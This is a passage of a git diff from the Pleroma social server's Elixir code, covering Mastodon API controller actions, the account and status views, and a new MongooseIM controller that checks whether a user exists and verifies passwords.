	def rename_list(%{assigns: %{user: user}} = conn, %{"id" => id, "title" => title}) do
	with %Pleroma.List{} = list <- Pleroma.List.get(id, user),
	{:ok, list} <- Pleroma.List.rename(list, title) do
	res = ListView.render("list.json", list: list)
	json(conn, res)
	else
	_e ->
	json(conn, "error")
	end
	end

	def list_timeline(%{assigns: %{user: user}} = conn, %{"list_id" => id} = params) do
	with %Pleroma.List{title: _title, following: following} <- Pleroma.List.get(id, user) do
	params =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("blocking_user", user)
	\|> Map.put("muting_user", user)

	# we must filter the following list for the user to avoid leaking statuses the user
	# does not actually have permission to see (for more info, peruse security issue #270).
	activities =
	following
	\|> Enum.filter(fn x -> x in user.following end)
	\|> ActivityPub.fetch_activities_bounded(following, params)
	\|> Enum.reverse()

	conn
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	else
	_e ->
	conn
	\|> put_status(403)
	\|> json(%{error: "Error."})
	end
	end

	def index(%{assigns: %{user: user}} = conn, _params) do
	token = get_session(conn, :oauth_token)

	if user && token do
	mastodon_emoji = mastodonized_emoji()

	limit = Config.get([:instance, :limit])

	accounts =
	Map.put(%{}, user.id, AccountView.render("account.json", %{user: user, for: user}))

	flavour = get_user_flavour(user)

	initial_state =
	%{
	meta: %{
	streaming_api_base_url: Pleroma.Web.Endpoint.websocket_url(),
	access_token: token,
	locale: "en",
	domain: Pleroma.Web.Endpoint.host(),
	admin: "1",
	me: "#{user.id}",
	unfollow_modal: false,
	boost_modal: false,
	delete_modal: true,
	auto_play_gif: false,
	display_sensitive_media: false,
	reduce_motion: false,
	max_toot_chars: limit,
	mascot: User.get_mascot(user)["url"]
	},
	rights: %{
	delete_others_notice: present?(user.info.is_moderator),
	admin: present?(user.info.is_admin)
	},
	compose: %{
	me: "#{user.id}",
	default_privacy: user.info.default_scope,
	default_sensitive: false,
	allow_content_types: Config.get([:instance, :allowed_post_formats])
	},
	media_attachments: %{
	accept_content_types: [
	".jpg",
	".jpeg",
	".png",
	".gif",
	".webm",
	".mp4",
	".m4v",
	"image\/jpeg",
	"image\/png",
	"image\/gif",
	"video\/webm",
	"video\/mp4"
	]
	},
	settings:
	user.info.settings \|\|
	%{
	onboarded: true,
	home: %{
	shows: %{
	reblog: true,
	reply: true
	}
	},
	notifications: %{
	alerts: %{
	follow: true,
	favourite: true,
	reblog: true,
	mention: true
	},
	shows: %{
	follow: true,
	favourite: true,
	reblog: true,
	mention: true
	},
	sounds: %{
	follow: true,
	favourite: true,
	reblog: true,
	mention: true
	}
	}
	},
	push_subscription: nil,
	accounts: accounts,
	custom_emojis: mastodon_emoji,
	char_limit: limit
	}
	\|> Jason.encode!()

	conn
	\|> put_layout(false)
	\|> put_view(MastodonView)
	\|> render("index.html", %{initial_state: initial_state, flavour: flavour})
	else
	conn
	\|> put_session(:return_to, conn.request_path)
	\|> redirect(to: "/web/login")
	end
	end

	def put_settings(%{assigns: %{user: user}} = conn, %{"data" => settings} = _params) do
	info_cng = User.Info.mastodon_settings_update(user.info, settings)

	with changeset <- Ecto.Changeset.change(user),
	changeset <- Ecto.Changeset.put_embed(changeset, :info, info_cng),
	{:ok, _user} <- User.update_and_set_cache(changeset) do
	json(conn, %{})
	else
	e ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(500, Jason.encode!(%{"error" => inspect(e)}))
	end
	end

	@supported_flavours ["glitch", "vanilla"]

	def set_flavour(%{assigns: %{user: user}} = conn, %{"flavour" => flavour} = _params)
	when flavour in @supported_flavours do
	flavour_cng = User.Info.mastodon_flavour_update(user.info, flavour)

	with changeset <- Ecto.Changeset.change(user),
	changeset <- Ecto.Changeset.put_embed(changeset, :info, flavour_cng),
	{:ok, user} <- User.update_and_set_cache(changeset),
	flavour <- user.info.flavour do
	json(conn, flavour)
	else
	e ->
	conn
	\|> put_resp_content_type("application/json")
	\|> send_resp(500, Jason.encode!(%{"error" => inspect(e)}))
	end
	end

	def set_flavour(conn, _params) do
	conn
	\|> put_status(400)
	\|> json(%{error: "Unsupported flavour"})
	end

	def get_flavour(%{assigns: %{user: user}} = conn, _params) do
	json(conn, get_user_flavour(user))
	end

	defp get_user_flavour(%User{info: %{flavour: flavour}}) when flavour in @supported_flavours do
	flavour
	end

	defp get_user_flavour(_) do
	"glitch"
	end

	def login(%{assigns: %{user: %User{}}} = conn, _params) do
	redirect(conn, to: local_mastodon_root_path(conn))
	end

	@doc "Local Mastodon FE login init action"
	def login(conn, %{"code" => auth_token}) do
	with {:ok, app} <- get_or_make_app(),
	%Authorization{} = auth <- Repo.get_by(Authorization, token: auth_token, app_id: app.id),
	{:ok, token} <- Token.exchange_token(app, auth) do
	conn
	\|> put_session(:oauth_token, token.token)
	\|> redirect(to: local_mastodon_root_path(conn))
	end
	end

	@doc "Local Mastodon FE callback action"
	def login(conn, _) do
	with {:ok, app} <- get_or_make_app() do
	path =
	o_auth_path(
	conn,
	:authorize,
	response_type: "code",
	client_id: app.client_id,
	redirect_uri: ".",
	scope: Enum.join(app.scopes, " ")
	)

	redirect(conn, to: path)
	end
	end

	defp local_mastodon_root_path(conn) do
	case get_session(conn, :return_to) do
	nil ->
	mastodon_api_path(conn, :index, ["getting-started"])

	return_to ->
	delete_session(conn, :return_to)
	return_to
	end
	end

	defp get_or_make_app do
	find_attrs = %{client_name: @local_mastodon_name, redirect_uris: "."}
	scopes = ["read", "write", "follow", "push"]

	with %App{} = app <- Repo.get_by(App, find_attrs) do
	{:ok, app} =
	if app.scopes == scopes do
	{:ok, app}
	else
	app
	\|> Ecto.Changeset.change(%{scopes: scopes})
	\|> Repo.update()
	end

	{:ok, app}
	else
	_e ->
	cs =
	App.register_changeset(
	%App{},
	Map.put(find_attrs, :scopes, scopes)
	)

	Repo.insert(cs)
	end
	end

	def logout(conn, _) do
	conn
	\|> clear_session
	\|> redirect(to: "/")
	end

	def relationship_noop(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	Logger.debug("Unimplemented, returning unmodified relationship")

	with %User{} = target <- User.get_cached_by_id(id) do
	conn
	\|> put_view(AccountView)
	\|> render("relationship.json", %{user: user, target: target})
	end
	end

	def empty_array(conn, _) do
	Logger.debug("Unimplemented, returning an empty array")
	json(conn, [])
	end

	def empty_object(conn, _) do
	Logger.debug("Unimplemented, returning an empty object")
	json(conn, %{})
	end

	def get_filters(%{assigns: %{user: user}} = conn, _) do
	filters = Filter.get_filters(user)
	res = FilterView.render("filters.json", filters: filters)
	json(conn, res)
	end

	def create_filter(
	%{assigns: %{user: user}} = conn,
	%{"phrase" => phrase, "context" => context} = params
	) do
	query = %Filter{
	user_id: user.id,
	phrase: phrase,
	context: context,
	hide: Map.get(params, "irreversible", false),
	whole_word: Map.get(params, "boolean", true)
	# expires_at
	}

	{:ok, response} = Filter.create(query)
	res = FilterView.render("filter.json", filter: response)
	json(conn, res)
	end

	def get_filter(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do
	filter = Filter.get(filter_id, user)
	res = FilterView.render("filter.json", filter: filter)
	json(conn, res)
	end

	def update_filter(
	%{assigns: %{user: user}} = conn,
	%{"phrase" => phrase, "context" => context, "id" => filter_id} = params
	) do
	query = %Filter{
	user_id: user.id,
	filter_id: filter_id,
	phrase: phrase,
	context: context,
	hide: Map.get(params, "irreversible", nil),
	whole_word: Map.get(params, "boolean", true)
	# expires_at
	}

	{:ok, response} = Filter.update(query)
	res = FilterView.render("filter.json", filter: response)
	json(conn, res)
	end

	def delete_filter(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do
	query = %Filter{
	user_id: user.id,
	filter_id: filter_id
	}

	{:ok, _} = Filter.delete(query)
	json(conn, %{})
	end

	# fallback action
	#
	def errors(conn, {:error, %Changeset{} = changeset}) do
	error_message =
	changeset
	\|> Changeset.traverse_errors(fn {message, _opt} -> message end)
	\|> Enum.map_join(", ", fn {_k, v} -> v end)

	conn
	\|> put_status(422)
	\|> json(%{error: error_message})
	end

	def errors(conn, {:error, :not_found}) do
	conn
	\|> put_status(404)
	\|> json(%{error: "Record not found"})
	end

	def errors(conn, _) do
	conn
	\|> put_status(500)
	\|> json("Something went wrong")
	end

	def suggestions(%{assigns: %{user: user}} = conn, _) do
	suggestions = Config.get(:suggestions)

	if Keyword.get(suggestions, :enabled, false) do
	api = Keyword.get(suggestions, :third_party_engine, "")
	timeout = Keyword.get(suggestions, :timeout, 5000)
	limit = Keyword.get(suggestions, :limit, 23)

	host = Config.get([Pleroma.Web.Endpoint, :url, :host])

	user = user.nickname

	url =
	api
	\|> String.replace("{{host}}", host)
	\|> String.replace("{{user}}", user)

	with {:ok, %{status: 200, body: body}} <-
	- @httpoison.get(
	+ HTTP.get(
	url,
	[],
	adapter: [
	recv_timeout: timeout,
	pool: :default
	]
	),
	{:ok, data} <- Jason.decode(body) do
	data =
	data
	\|> Enum.slice(0, limit)
	\|> Enum.map(fn x ->
	Map.put(
	x,
	"id",
	case User.get_or_fetch(x["acct"]) do
	{:ok, %User{id: id}} -> id
	_ -> 0
	end
	)
	end)
	\|> Enum.map(fn x ->
	Map.put(x, "avatar", MediaProxy.url(x["avatar"]))
	end)
	\|> Enum.map(fn x ->
	Map.put(x, "avatar_static", MediaProxy.url(x["avatar_static"]))
	end)

	conn
	\|> json(data)
	else
	e -> Logger.error("Could not retrieve suggestions at fetch #{url}, #{inspect(e)}")
	end
	else
	json(conn, [])
	end
	end

	def status_card(%{assigns: %{user: user}} = conn, %{"id" => status_id}) do
	with %Activity{} = activity <- Activity.get_by_id(status_id),
	true <- Visibility.visible_for_user?(activity, user) do
	data =
	StatusView.render(
	"card.json",
	Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity)
	)

	json(conn, data)
	else
	_e ->
	%{}
	end
	end

	def reports(%{assigns: %{user: user}} = conn, params) do
	case CommonAPI.report(user, params) do
	{:ok, activity} ->
	conn
	\|> put_view(ReportView)
	\|> try_render("report.json", %{activity: activity})

	{:error, err} ->
	conn
	\|> put_status(:bad_request)
	\|> json(%{error: err})
	end
	end

	def account_register(
	%{assigns: %{app: app}} = conn,
	%{"username" => nickname, "email" => _, "password" => _, "agreement" => true} = params
	) do
	params =
	params
	\|> Map.take([
	"email",
	"captcha_solution",
	"captcha_token",
	"captcha_answer_data",
	"token",
	"password"
	])
	\|> Map.put("nickname", nickname)
	\|> Map.put("fullname", params["fullname"] \|\| nickname)
	\|> Map.put("bio", params["bio"] \|\| "")
	\|> Map.put("confirm", params["password"])

	with {:ok, user} <- TwitterAPI.register_user(params, need_confirmation: true),
	{:ok, token} <- Token.create_token(app, user, %{scopes: app.scopes}) do
	json(conn, %{
	token_type: "Bearer",
	access_token: token.token,
	scope: app.scopes,
	created_at: Token.Utils.format_created_at(token)
	})
	else
	{:error, errors} ->
	conn
	\|> put_status(400)
	\|> json(Jason.encode!(errors))
	end
	end

	def account_register(%{assigns: %{app: _app}} = conn, _params) do
	conn
	\|> put_status(400)
	\|> json(%{error: "Missing parameters"})
	end

	def account_register(conn, _) do
	conn
	\|> put_status(403)
	\|> json(%{error: "Invalid credentials"})
	end

	def conversations(%{assigns: %{user: user}} = conn, params) do
	participations = Participation.for_user_with_last_activity_id(user, params)

	conversations =
	Enum.map(participations, fn participation ->
	ConversationView.render("participation.json", %{participation: participation, user: user})
	end)

	conn
	\|> add_link_headers(:conversations, participations)
	\|> json(conversations)
	end

	def conversation_read(%{assigns: %{user: user}} = conn, %{"id" => participation_id}) do
	with %Participation{} = participation <-
	Repo.get_by(Participation, id: participation_id, user_id: user.id),
	{:ok, participation} <- Participation.mark_as_read(participation) do
	participation_view =
	ConversationView.render("participation.json", %{participation: participation, user: user})

	conn
	\|> json(participation_view)
	end
	end

	def try_render(conn, target, params)
	when is_binary(target) do
	res = render(conn, target, params)

	if res == nil do
	conn
	\|> put_status(501)
	\|> json(%{error: "Can't display this activity"})
	else
	res
	end
	end

	def try_render(conn, _, _) do
	conn
	\|> put_status(501)
	\|> json(%{error: "Can't display this activity"})
	end

	defp present?(nil), do: false
	defp present?(false), do: false
	defp present?(_), do: true
	end
	diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex
	index 134c07b7e..b82d3319b 100644
	--- a/lib/pleroma/web/mastodon_api/views/account_view.ex
	+++ b/lib/pleroma/web/mastodon_api/views/account_view.ex
	@@ -1,174 +1,174 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.AccountView do
	use Pleroma.Web, :view

	alias Pleroma.HTML
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.AccountView
	alias Pleroma.Web.MediaProxy

	def render("accounts.json", %{users: users} = opts) do
	users
	\|> render_many(AccountView, "account.json", opts)
	\|> Enum.filter(&Enum.any?/1)
	end

	def render("account.json", %{user: user} = opts) do
	if User.visible_for?(user, opts[:for]),
	do: do_render("account.json", opts),
	else: %{}
	end

	def render("mention.json", %{user: user}) do
	%{
	id: to_string(user.id),
	acct: user.nickname,
	username: username_from_nickname(user.nickname),
	url: user.ap_id
	}
	end

	def render("relationship.json", %{user: nil, target: _target}) do
	%{}
	end

	def render("relationship.json", %{user: %User{} = user, target: %User{} = target}) do
	follow_activity = Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(user, target)

	requested =
	if follow_activity && !User.following?(target, user) do
	follow_activity.data["state"] == "pending"
	else
	false
	end

	%{
	id: to_string(target.id),
	following: User.following?(user, target),
	followed_by: User.following?(target, user),
	blocking: User.blocks?(user, target),
	muting: User.mutes?(user, target),
	muting_notifications: false,
	subscribing: User.subscribed_to?(user, target),
	requested: requested,
	domain_blocking: false,
	showing_reblogs: User.showing_reblogs?(user, target),
	endorsed: false
	}
	end

	def render("relationships.json", %{user: user, targets: targets}) do
	render_many(targets, AccountView, "relationship.json", user: user, as: :target)
	end

	defp do_render("account.json", %{user: user} = opts) do
	image = User.avatar_url(user) \|> MediaProxy.url()
	header = User.banner_url(user) \|> MediaProxy.url()
	user_info = User.get_cached_user_info(user)
	bot = (user.info.source_data["type"] \|\| "Person") in ["Application", "Service"]

	emojis =
	(user.info.source_data["tag"] \|\| [])
	\|> Enum.filter(fn %{"type" => t} -> t == "Emoji" end)
	\|> Enum.map(fn %{"icon" => %{"url" => url}, "name" => name} ->
	%{
	"shortcode" => String.trim(name, ":"),
	"url" => MediaProxy.url(url),
	"static_url" => MediaProxy.url(url),
	"visible_in_picker" => false
	}
	end)

	fields =
	(user.info.source_data["attachment"] \|\| [])
	\|> Enum.filter(fn %{"type" => t} -> t == "PropertyValue" end)
	\|> Enum.map(fn fields -> Map.take(fields, ["name", "value"]) end)

	bio = HTML.filter_tags(user.bio, User.html_filter_policy(opts[:for]))

	relationship = render("relationship.json", %{user: opts[:for], target: user})

	%{
	id: to_string(user.id),
	username: username_from_nickname(user.nickname),
	acct: user.nickname,
	display_name: user.name \|\| user.nickname,
	locked: user_info.locked,
	created_at: Utils.to_masto_date(user.inserted_at),
	followers_count: user_info.follower_count,
	following_count: user_info.following_count,
	statuses_count: user_info.note_count,
	note: bio \|\| "",
	url: user.ap_id,
	avatar: image,
	avatar_static: image,
	header: header,
	header_static: header,
	emojis: emojis,
	fields: fields,
	bot: bot,
	source: %{
	- note: "",
	+ note: HTML.strip_tags((user.bio \|\| "") \|> String.replace("<br>", "\n")),
	sensitive: false,
	pleroma: %{}
	},

	# Pleroma extension
	pleroma: %{
	confirmation_pending: user_info.confirmation_pending,
	tags: user.tags,
	hide_followers: user.info.hide_followers,
	hide_follows: user.info.hide_follows,
	hide_favorites: user.info.hide_favorites,
	relationship: relationship
	}
	}
	\|> maybe_put_role(user, opts[:for])
	\|> maybe_put_settings(user, opts[:for], user_info)
	\|> maybe_put_notification_settings(user, opts[:for])
	end

	defp username_from_nickname(string) when is_binary(string) do
	hd(String.split(string, "@"))
	end

	defp username_from_nickname(_), do: nil

	defp maybe_put_settings(
	data,
	%User{id: user_id} = user,
	%User{id: user_id},
	user_info
	) do
	data
	\|> Kernel.put_in([:source, :privacy], user_info.default_scope)
	\|> Kernel.put_in([:source, :pleroma, :show_role], user.info.show_role)
	\|> Kernel.put_in([:source, :pleroma, :no_rich_text], user.info.no_rich_text)
	end

	defp maybe_put_settings(data, _, _, _), do: data

	defp maybe_put_role(data, %User{info: %{show_role: true}} = user, _) do
	data
	\|> Kernel.put_in([:pleroma, :is_admin], user.info.is_admin)
	\|> Kernel.put_in([:pleroma, :is_moderator], user.info.is_moderator)
	end

	defp maybe_put_role(data, %User{id: user_id} = user, %User{id: user_id}) do
	data
	\|> Kernel.put_in([:pleroma, :is_admin], user.info.is_admin)
	\|> Kernel.put_in([:pleroma, :is_moderator], user.info.is_moderator)
	end

	defp maybe_put_role(data, _, _), do: data

	defp maybe_put_notification_settings(data, %User{id: user_id} = user, %User{id: user_id}) do
	Kernel.put_in(data, [:pleroma, :notification_settings], user.info.notification_settings)
	end

	defp maybe_put_notification_settings(data, _, _), do: data
	end
	diff --git a/lib/pleroma/web/mastodon_api/views/status_view.ex b/lib/pleroma/web/mastodon_api/views/status_view.ex
	index c93d915e5..e55f9b96e 100644
	--- a/lib/pleroma/web/mastodon_api/views/status_view.ex
	+++ b/lib/pleroma/web/mastodon_api/views/status_view.ex
	@@ -1,422 +1,428 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.StatusView do
	use Pleroma.Web, :view

	alias Pleroma.Activity
	alias Pleroma.HTML
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.AccountView
	alias Pleroma.Web.MastodonAPI.StatusView
	alias Pleroma.Web.MediaProxy

	import Pleroma.Web.ActivityPub.Visibility, only: [get_visibility: 1]

	# TODO: Add cached version.
	defp get_replied_to_activities(activities) do
	activities
	\|> Enum.map(fn
	%{data: %{"type" => "Create", "object" => object}} ->
	object = Object.normalize(object)
	object.data["inReplyTo"] != "" && object.data["inReplyTo"]

	_ ->
	nil
	end)
	\|> Enum.filter(& &1)
	\|> Activity.create_by_object_ap_id()
	\|> Repo.all()
	\|> Enum.reduce(%{}, fn activity, acc ->
	object = Object.normalize(activity)
	Map.put(acc, object.data["id"], activity)
	end)
	end

	defp get_user(ap_id) do
	cond do
	user = User.get_cached_by_ap_id(ap_id) ->
	user

	user = User.get_by_guessed_nickname(ap_id) ->
	user

	true ->
	User.error_user(ap_id)
	end
	end

	defp get_context_id(%{data: %{"context_id" => context_id}}) when not is_nil(context_id),
	do: context_id

	defp get_context_id(%{data: %{"context" => context}}) when is_binary(context),
	do: Utils.context_to_conversation_id(context)

	defp get_context_id(_), do: nil

	defp reblogged?(activity, user) do
	object = Object.normalize(activity) \|\| %{}
	present?(user && user.ap_id in (object.data["announcements"] \|\| []))
	end

	def render("index.json", opts) do
	replied_to_activities = get_replied_to_activities(opts.activities)

	opts.activities
	\|> safe_render_many(
	StatusView,
	"status.json",
	Map.put(opts, :replied_to_activities, replied_to_activities)
	)
	end

	def render(
	"status.json",
	%{activity: %{data: %{"type" => "Announce", "object" => _object}} = activity} = opts
	) do
	user = get_user(activity.data["actor"])
	created_at = Utils.to_masto_date(activity.data["published"])
	activity_object = Object.normalize(activity)

	reblogged_activity =
	Activity.create_by_object_ap_id(activity_object.data["id"])
	\|> Activity.with_preloaded_bookmark(opts[:for])
	\|> Repo.one()

	reblogged = render("status.json", Map.put(opts, :activity, reblogged_activity))

	favorited = opts[:for] && opts[:for].ap_id in (activity_object.data["likes"] \|\| [])

	bookmarked = Activity.get_bookmark(reblogged_activity, opts[:for]) != nil

	mentions =
	activity.recipients
	\|> Enum.map(fn ap_id -> User.get_cached_by_ap_id(ap_id) end)
	\|> Enum.filter(& &1)
	\|> Enum.map(fn user -> AccountView.render("mention.json", %{user: user}) end)

	%{
	id: to_string(activity.id),
	uri: activity_object.data["id"],
	url: activity_object.data["id"],
	account: AccountView.render("account.json", %{user: user}),
	in_reply_to_id: nil,
	in_reply_to_account_id: nil,
	reblog: reblogged,
	content: reblogged[:content] \|\| "",
	created_at: created_at,
	reblogs_count: 0,
	replies_count: 0,
	favourites_count: 0,
	reblogged: reblogged?(reblogged_activity, opts[:for]),
	favourited: present?(favorited),
	bookmarked: present?(bookmarked),
	muted: false,
	pinned: pinned?(activity, user),
	sensitive: false,
	spoiler_text: "",
	visibility: "public",
	media_attachments: reblogged[:media_attachments] \|\| [],
	mentions: mentions,
	tags: reblogged[:tags] \|\| [],
	application: %{
	name: "Web",
	website: nil
	},
	language: nil,
	emojis: [],
	pleroma: %{
	local: activity.local
	}
	}
	end

	def render("status.json", %{activity: %{data: %{"object" => _object}} = activity} = opts) do
	object = Object.normalize(activity)

	user = get_user(activity.data["actor"])

	like_count = object.data["like_count"] \|\| 0
	announcement_count = object.data["announcement_count"] \|\| 0

	tags = object.data["tag"] \|\| []
	sensitive = object.data["sensitive"] \|\| Enum.member?(tags, "nsfw")

	mentions =
	activity.recipients
	\|> Enum.map(fn ap_id -> User.get_cached_by_ap_id(ap_id) end)
	\|> Enum.filter(& &1)
	\|> Enum.map(fn user -> AccountView.render("mention.json", %{user: user}) end)

	favorited = opts[:for] && opts[:for].ap_id in (object.data["likes"] \|\| [])

	bookmarked = Activity.get_bookmark(activity, opts[:for]) != nil

	+ thread_muted? =
	+ case activity.thread_muted? do
	+ thread_muted? when is_boolean(thread_muted?) -> thread_muted?
	+ nil -> CommonAPI.thread_muted?(user, activity)
	+ end
	+
	attachment_data = object.data["attachment"] \|\| []
	attachments = render_many(attachment_data, StatusView, "attachment.json", as: :attachment)

	created_at = Utils.to_masto_date(object.data["published"])

	reply_to = get_reply_to(activity, opts)

	reply_to_user = reply_to && get_user(reply_to.data["actor"])

	content =
	object
	\|> render_content()

	content_html =
	content
	\|> HTML.get_cached_scrubbed_html_for_activity(
	User.html_filter_policy(opts[:for]),
	activity,
	"mastoapi:content"
	)

	content_plaintext =
	content
	\|> HTML.get_cached_stripped_html_for_activity(
	activity,
	"mastoapi:content"
	)

	summary = object.data["summary"] \|\| ""

	summary_html =
	summary
	\|> HTML.get_cached_scrubbed_html_for_activity(
	User.html_filter_policy(opts[:for]),
	activity,
	"mastoapi:summary"
	)

	summary_plaintext =
	summary
	\|> HTML.get_cached_stripped_html_for_activity(
	activity,
	"mastoapi:summary"
	)

	card = render("card.json", Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity))

	url =
	if user.local do
	Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, activity)
	else
	object.data["external_url"] \|\| object.data["id"]
	end

	%{
	id: to_string(activity.id),
	uri: object.data["id"],
	url: url,
	account: AccountView.render("account.json", %{user: user}),
	in_reply_to_id: reply_to && to_string(reply_to.id),
	in_reply_to_account_id: reply_to_user && to_string(reply_to_user.id),
	reblog: nil,
	card: card,
	content: content_html,
	created_at: created_at,
	reblogs_count: announcement_count,
	replies_count: object.data["repliesCount"] \|\| 0,
	favourites_count: like_count,
	reblogged: reblogged?(activity, opts[:for]),
	favourited: present?(favorited),
	bookmarked: present?(bookmarked),
	- muted: CommonAPI.thread_muted?(user, activity) \|\| User.mutes?(opts[:for], user),
	+ muted: thread_muted? \|\| User.mutes?(opts[:for], user),
	pinned: pinned?(activity, user),
	sensitive: sensitive,
	spoiler_text: summary_html,
	visibility: get_visibility(object),
	media_attachments: attachments,
	mentions: mentions,
	tags: build_tags(tags),
	application: %{
	name: "Web",
	website: nil
	},
	language: nil,
	emojis: build_emojis(object.data["emoji"]),
	pleroma: %{
	local: activity.local,
	conversation_id: get_context_id(activity),
	in_reply_to_account_acct: reply_to_user && reply_to_user.nickname,
	content: %{"text/plain" => content_plaintext},
	spoiler_text: %{"text/plain" => summary_plaintext}
	}
	}
	end

	def render("status.json", _) do
	nil
	end

	def render("card.json", %{rich_media: rich_media, page_url: page_url}) do
	page_url_data = URI.parse(page_url)

	page_url_data =
	if rich_media[:url] != nil do
	URI.merge(page_url_data, URI.parse(rich_media[:url]))
	else
	page_url_data
	end

	page_url = page_url_data \|> to_string

	image_url =
	if rich_media[:image] != nil do
	URI.merge(page_url_data, URI.parse(rich_media[:image]))
	\|> to_string
	else
	nil
	end

	site_name = rich_media[:site_name] \|\| page_url_data.host

	%{
	type: "link",
	provider_name: site_name,
	provider_url: page_url_data.scheme <> "://" <> page_url_data.host,
	url: page_url,
	image: image_url \|> MediaProxy.url(),
	title: rich_media[:title],
	description: rich_media[:description],
	pleroma: %{
	opengraph: rich_media
	}
	}
	end

	def render("card.json", _) do
	nil
	end

	def render("attachment.json", %{attachment: attachment}) do
	[attachment_url \| _] = attachment["url"]
	media_type = attachment_url["mediaType"] \|\| attachment_url["mimeType"] \|\| "image"
	href = attachment_url["href"] \|> MediaProxy.url()

	type =
	cond do
	String.contains?(media_type, "image") -> "image"
	String.contains?(media_type, "video") -> "video"
	String.contains?(media_type, "audio") -> "audio"
	true -> "unknown"
	end

	<<hash_id::signed-32, _rest::binary>> = :crypto.hash(:md5, href)

	%{
	id: to_string(attachment["id"] \|\| hash_id),
	url: href,
	remote_url: href,
	preview_url: href,
	text_url: href,
	type: type,
	description: attachment["name"],
	pleroma: %{mime_type: media_type}
	}
	end

	def get_reply_to(activity, %{replied_to_activities: replied_to_activities}) do
	object = Object.normalize(activity)

	with nil <- replied_to_activities[object.data["inReplyTo"]] do
	# If user didn't participate in the thread
	Activity.get_in_reply_to_activity(activity)
	end
	end

	def get_reply_to(%{data: %{"object" => _object}} = activity, _) do
	object = Object.normalize(activity)

	if object.data["inReplyTo"] && object.data["inReplyTo"] != "" do
	Activity.get_create_by_object_ap_id(object.data["inReplyTo"])
	else
	nil
	end
	end

	def render_content(%{data: %{"type" => "Video"}} = object) do
	with name when not is_nil(name) and name != "" <- object.data["name"] do
	"<p><a href=\"#{object.data["id"]}\">#{name}</a></p>#{object.data["content"]}"
	else
	_ -> object.data["content"] \|\| ""
	end
	end

	def render_content(%{data: %{"type" => object_type}} = object)
	when object_type in ["Article", "Page"] do
	with summary when not is_nil(summary) and summary != "" <- object.data["name"],
	url when is_bitstring(url) <- object.data["url"] do
	"<p><a href=\"#{url}\">#{summary}</a></p>#{object.data["content"]}"
	else
	_ -> object.data["content"] \|\| ""
	end
	end

	def render_content(object), do: object.data["content"] \|\| ""

	@doc """
	Builds a dictionary tags.

	## Examples

	iex> Pleroma.Web.MastodonAPI.StatusView.build_tags(["fediverse", "nextcloud"])
	[{"name": "fediverse", "url": "/tag/fediverse"},
	{"name": "nextcloud", "url": "/tag/nextcloud"}]

	"""
	@spec build_tags(list(any())) :: list(map())
	def build_tags(object_tags) when is_list(object_tags) do
	object_tags = for tag when is_binary(tag) <- object_tags, do: tag

	Enum.reduce(object_tags, [], fn tag, tags ->
	tags ++ [%{name: tag, url: "/tag/#{tag}"}]
	end)
	end

	def build_tags(_), do: []

	@doc """
	Builds list emojis.

	Arguments: `nil` or list tuple of name and url.

	Returns list emojis.

	## Examples

	iex> Pleroma.Web.MastodonAPI.StatusView.build_emojis([{"2hu", "corndog.png"}])
	[%{shortcode: "2hu", static_url: "corndog.png", url: "corndog.png", visible_in_picker: false}]

	"""
	@spec build_emojis(nil \| list(tuple())) :: list(map())
	def build_emojis(nil), do: []

	def build_emojis(emojis) do
	emojis
	\|> Enum.map(fn {name, url} ->
	name = HTML.strip_tags(name)

	url =
	url
	\|> HTML.strip_tags()
	\|> MediaProxy.url()

	%{shortcode: name, url: url, static_url: url, visible_in_picker: false}
	end)
	end

	defp present?(nil), do: false
	defp present?(false), do: false
	defp present?(_), do: true

	defp pinned?(%Activity{id: id}, %User{info: %{pinned_activities: pinned_activities}}),
	do: id in pinned_activities
	end
	diff --git a/lib/pleroma/web/mongooseim/mongoose_im_controller.ex b/lib/pleroma/web/mongooseim/mongoose_im_controller.ex
	new file mode 100644
	index 000000000..489d5d3a5
	--- /dev/null
	+++ b/lib/pleroma/web/mongooseim/mongoose_im_controller.ex
	@@ -0,0 +1,41 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.Web.MongooseIM.MongooseIMController do
	+ use Pleroma.Web, :controller
	+ alias Comeonin.Pbkdf2
	+ alias Pleroma.Repo
	+ alias Pleroma.User
	+
	+ def user_exists(conn, %{"user" => username}) do
	+ with %User{} <- Repo.get_by(User, nickname: username, local: true) do
	+ conn
	+ \|> json(true)
	+ else
	+ _ ->
	+ conn
	+ \|> put_status(:not_found)
	+ \|> json(false)
	+ end
	+ end
	+
	+ def check_password(conn, %{"user" => username, "pass" => password}) do
	+ with %User{password_hash: password_hash} <-
	+ Repo.get_by(User, nickname: username, local: true),
	+ true <- Pbkdf2.checkpw(password, password_hash) do
	+ conn
	+ \|> json(true)
	+ else
	+ false ->
	+ conn
	+ \|> put_status(403)
	+ \|> json(false)
	+
	+ _ ->
	+ conn
	+ \|> put_status(:not_found)
	+ \|> json(false)
	+ end
	+ end
	+end
	diff --git a/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex b/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex
	index 3bf2a0fbc..45f90c579 100644
	--- a/lib/pleroma/web/nodeinfo/nodeinfo_controller.ex
